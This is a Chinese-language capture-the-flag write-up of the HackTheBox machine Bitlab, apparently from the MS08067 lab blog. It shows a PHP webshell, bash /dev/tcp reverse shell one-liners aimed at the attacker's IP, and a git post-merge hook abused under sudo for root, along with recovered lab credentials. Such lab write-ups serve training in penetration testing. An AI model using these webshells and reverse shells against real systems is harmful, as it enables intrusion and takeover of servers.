【HTB系列】靶機Bitlab的滲透測試

Ms08067安全實驗室發表於2021-03-08

出品|MS08067實驗室(www.ms08067.com)

本文作者:是大方子(Ms08067實驗室核心成員)

0x00 本文目錄

  • 反思與總結
  • 基本資訊
  • 滲透測試過程
  • 補充

0x01 反思與總結

  1. curl 傳送GET引數化請求
  2. 對反彈回來的shell進行設定完善
  3. 使用git hooks來進行提權

0x02 基本資訊

靶機IP地址:10.10.10.114
Kali IP地址:10.10.14.13

0x03 滲透測試過程

埠探測

root@kali:~/HTB/bitlab# nmap ‐sC ‐sV ‐oA bitloab 10.10.10.114

Starting Nmap 7.80 ( https://nmap.org ) at 2020‐01‐22 10:04 CST

Nmap scan report for 10.10.10.114

Host is up (0.24s latency).

Not shown: 998 filtered ports

PORT   STATE SERVICE VERSION

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

| ssh‐hostkey: 

|   2048 a2:3b:b0:dd:28:91:bf:e8:f9:30:82:31:23:2f:92:18 (RSA)

|   256 e6:3b:fb:b3:7f:9a:35:a8:bd:d0:27:7b:25:d4:ed:dc (ECDSA)

|_  256 c9:54:3d:91:01:78:03:ab:16:14:6b:cc:f0:b7:3a:55 (ED25519)

80/tcp open  http    nginx

| http‐robots.txt: 55 disallowed entries (15 shown)

| / /autocomplete/users /search /api /admin /profile 

| /dashboard /projects/new /groups/new /groups/*/edit /users /help 

|_/s/ /snippets/new /snippets/*/edit

| http‐title: Sign in \xC2\xB7 GitLab

|_Requested resource was http://10.10.10.114/users/sign_in

|_http‐trane‐info: Problem with XML parsing of /evox/about

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at

https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 34.44 seconds

目標靶機開放了80 和 22埠

目錄探測

我們先從80下手,檢視下網頁內容

先使用gobuster進行掃描

gobuster dir ‐u "http://10.10.10.114/" ‐w /usr/share/wordlists/dirbuster/directory‐list‐2.3‐medium.txt ‐t 150 ‐s 200,204,301,307,401,403 ‐o bitlab.gobuster

引數介紹:

dir: 表示掃描目錄的模式
-w: 使用的字典
-t: 執行緒數量
-s: 只顯示響應碼為200,204,301,307,401,403的路徑,因為我們訪問網頁的時候有些位置是不允許我們訪問會被302跳轉到登入介面

對出現的結果逐一檢視,發現除了help外其他的網頁都沒什麼可用資訊

漏洞發現

開啟help下的bookmarks.html

對這幾個超連結逐一檢視,發現前面4個連線都只是分別指向hackthebox,Docker,PHP,Node.js的官網並沒有什麼資訊
點選 【Gitlab Login】 時,發現沒反應,但是出現了javascript程式碼。

我們開啟原始碼進行檢視

把javascript程式碼複製出來放到https://beautifier.io/進行美化並把裡面的HTML實體去除,得到下面的結果

javascript: (function() {
    var _0x4b18 = ["\x76\x61\x6C\x75\x65", "\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64", "\x63\x6C\x61\x76\x65","\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];
    document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]] = _0x4b18[3];

    document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]] = _0x4b18[5];

})()

把_0x4b18裡面的內容翻譯下(十六進位制轉字元)

var _0x4b18 = ["value", "user_login", "getElementById", "clave", "user_password","11des0081x"];

那麼下面2行程式碼

document[getElementById](user_login)[value] = clave;

document[getElementById](user_password)[value] = 11des0081x;

感覺是賬號密碼的感覺,我們在登入介面使用console進行嘗試

賬號密碼直接出現併成功登入
登入後有2個庫

在deployer中發現index.php,像是一個掛鉤檔案,當Profile儲存庫合併了一個新的提交時就會執行命令

切換到 profile目錄 , 並且執行sudo git pull

<?php

$input = file_get_contents("php://input");

$payload  = json_decode($input);

$repo = $payload‐>project‐>name ?? '';

$event = $payload‐>event_type ?? '';

$state = $payload‐>object_attributes‐>state ?? '';

$branch = $payload‐>object_attributes‐>target_branch ?? '';

if ($repo=='Profile' && $branch=='master' && $event=='merge_request' && $state=='merged')
{

    echo shell_exec('cd ../profile/; sudo git pull'),"\n";

}

echo "OK\n";

那麼我們只要寫入一個webshell併合併到profile庫中,那麼這個index.php就會把我們的webshell給pull下來
我們建立一個分支

切換到這個分支,然後在這個分支上建立一個webshell

寫入一個webshell,並提交

<?php

if(isset($_REQUEST['cmd'])){
        echo "<pre>";

        $cmd = ($_REQUEST['cmd']);

        system($cmd);

        echo "</pre>";
        
        die;

}

?>

建立合併請求

然後就可以看到我們的webshell就成功合併如mstaer庫

此時應該會被之前的掛鉤檔案pull到本地,我們嘗試訪問看看

http://10.10.10.114/profile/dfz.php?cmd=whoami

也可以通過curl來進行命令執行

curl ‐G "http://10.10.10.114/profile/dfz.php" ‐‐data‐urlencode 'cmd=whoami'
-G:表示傳送GET請求
--data--urlencode:對資料進行URL編碼

這樣我們就拿到了webshell

反彈shell

接下來就是反彈shell
kali先nc先監聽埠

然後用curl反彈,這裡需要注意的是,反彈shell的指令前面還需要用到bash -c

curl ‐G "http://10.10.10.114/profile/dfz.php" ‐‐data‐urlencode "cmd=bash ‐c 'bash ‐i >&/dev/tcp/10.10.14.13/9001 0>&1'"

反彈回來的shell,會出現字元錯誤,無法編輯vim等問題
輸入下面的指令對反彈回來的shell進行設定,讓後面我們可以正常使用

python ‐c "import pty;pty.spawn('/bin/bash')"

ctrl + z (後臺掛起shell)

stty raw ‐echo

fg + 多個回車
   
stty rows 34 cols 136

export TERM=xterm

這樣我們反彈回來的shell就可以像我們平常用的那個shell一樣了

許可權提升

進入之後我們看下sudo -l 有沒有能突破的點

這裡我們可以看到 www-data使用者可以不需要密碼
以root的許可權呼叫git pull 命令
這裡我們可以用git的hook檔案來進行提權
在.git/hooks檔案中有一些模板,我們可以對照進行編寫

因為sudo執行www-data使用者執行git pull檔案
那麼我們找下執行這個命令的時候會觸發哪個hook檔案
可以通過下面命令檢視

man githooks
``

![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308185740234-1026583186.png)

可以看到在執行git pull時,會觸發post-merge這個檔案
但是在hook檔案裡面沒有這個檔案,我需要手動建立
但是這個資料夾我們沒有寫的許可權

![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308185749705-912886101.png)

![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308185752973-144944487.png)

那麼我們把這個檔案給重新拷貝一份出來

![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308185800263-124818260.png)

然後在 /tmp/dfz/profile/.git/hooks/中建立一個 post-merge檔案 ,並賦予執行許可權

!/bin/bash

bash ‐c 'bash ‐i >& /dev/tcp/10.10.14.11/9000 0>&1'


![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308185833394-494317730.png)

那麼我們接下來做的就是要觸發git pull,在這之前我們需要在倉庫裡面新增一個新的檔案,這樣git pull才能有效果,否則就有如下的提示

![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308185841113-665039151.png)

我們可以直接新增一個檔案併合並

![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308185851674-259392223.png)

![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308185901432-330126112.png)

kali進行監聽,然後再進行sudo git pull
然後就得到root許可權

![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308185910202-1280118874.png)

##0x04 補充
還有另一種方法get flag
我們在進入到profile倉庫後可以看到一個TODO

![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308185920897-383328840.png)

然後我們在

http://10.10.10.114/users/clave/snippets

裡面找到postgresql的程式碼片段

![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308185943323-324217562.png)

可以看到這段程式碼在查詢資料,我們可以看下它查詢的是什麼資料

array(1) {

[0]=>

array(3) {

["id"]=>

string(1) "1"

["username"]=>

string(5) "clave"

["password"]=>

string(22) "c3NoLXN0cjBuZy1wQHNz=="

}

}


![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308190130918-1540436481.png)

我們嘗試登入到clave

![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308190140829-1320805973.png)

成功!
同時我們在clave的家目錄下看到一個exe

![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308190148893-551189736.png)

我們通過scp下載回來

scp clave@10.10.10.114:RemoteConnection.exe .


![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308190208840-163667243.png)

使用OD進行除錯也可以看到root的賬號密碼

Qf7]8YSV.wDNF*[7d?j&eD4^


![](https://img2020.cnblogs.com/blog/2289839/202103/2289839-20210308190230357-2105679878.png)

&emsp;
&emsp;
&emsp;


**<font color=red>轉載請聯絡作者並註明出處!</font>**

Ms08067安全實驗室專注於網路安全知識的普及和培訓。團隊已出版《Web安全攻防:滲透測試實戰指南》,《內網安全攻防:滲透測試實戰指南》,《Python安全攻防:滲透測試實戰指南》,《Java程式碼安全審計(入門篇)》等書籍。
團隊公眾號定期分享關於CTF靶場、內網滲透、APT方面技術乾貨,從零開始、以實戰落地為主,致力於做一個實用的乾貨分享型公眾號。
官方網站:https://www.ms08067.com/

掃描下方二維碼加入實驗室VIP社群
加入後邀請加入內部VIP群,內部微信群永久有效!

<img src="https://img2020.cnblogs.com/blog/2289839/202101/2289839-20210127171059867-27992252.jpg" width=30% height=30%>&emsp;<img src="https://img2020.cnblogs.com/blog/2289839/202101/2289839-20210127171108710-1006825273.jpg" width=30% height=30%>&emsp;<img src="https://img2020.cnblogs.com/blog/2289839/202101/2289839-20210127171113475-91288513.jpg" width=30% height=30%>

<img src="https://img2020.cnblogs.com/blog/2289839/202101/2289839-20210127171130928-1756064793.jpg" width=30% height=30%>&emsp;<img src="https://img2020.cnblogs.com/blog/2289839/202101/2289839-20210127171138875-1861126870.jpg" width=30% height=30%>&emsp;<img src="https://img2020.cnblogs.com/blog/2289839/202101/2289839-20210127171146080-229256920.jpg" width=30% height=30%>

相關文章